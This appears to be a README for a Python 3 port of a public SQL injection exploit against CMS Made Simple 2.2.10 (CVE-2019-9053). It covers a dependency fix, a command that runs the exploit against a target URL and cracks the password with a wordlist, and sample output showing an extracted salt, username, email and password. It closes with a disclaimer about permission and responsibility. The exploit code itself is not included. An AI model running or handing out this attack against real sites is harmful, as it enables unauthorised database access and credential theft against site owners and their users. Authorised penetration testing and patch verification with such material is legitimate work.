CMS-Made-Simple-2.2.10---SQL-Injection-Exploit-with-Bug-Fixes

The exploit has been fixed to support Python 3

CVE-2019-9053

Original exploit source: https://www.exploit-db.com/exploits/46635

Possible error and its fix

Traceback (most recent call last): File "46635.py", line 12, in from termcolor import colored ImportError: No module named termcolor

Fix

pip install termcolor

Example command

python cve.py -u http://target --crack -w /usr/share/wordlists/best110.txt


Example Result:

root@kitploit:~

  [+] Salt for password found: 18
  [+] Username found: mitw
  [+] Email found: adk
  [+] Password found: 0c01f4468d

Users assume full responsibility for any actions taken using this tool.

If these terms are not acceptable to you, do not use this tool.

Please use this tool only in environments where you have permission to perform penetration testing activities.

Please do not use this tool for any malicious purpose.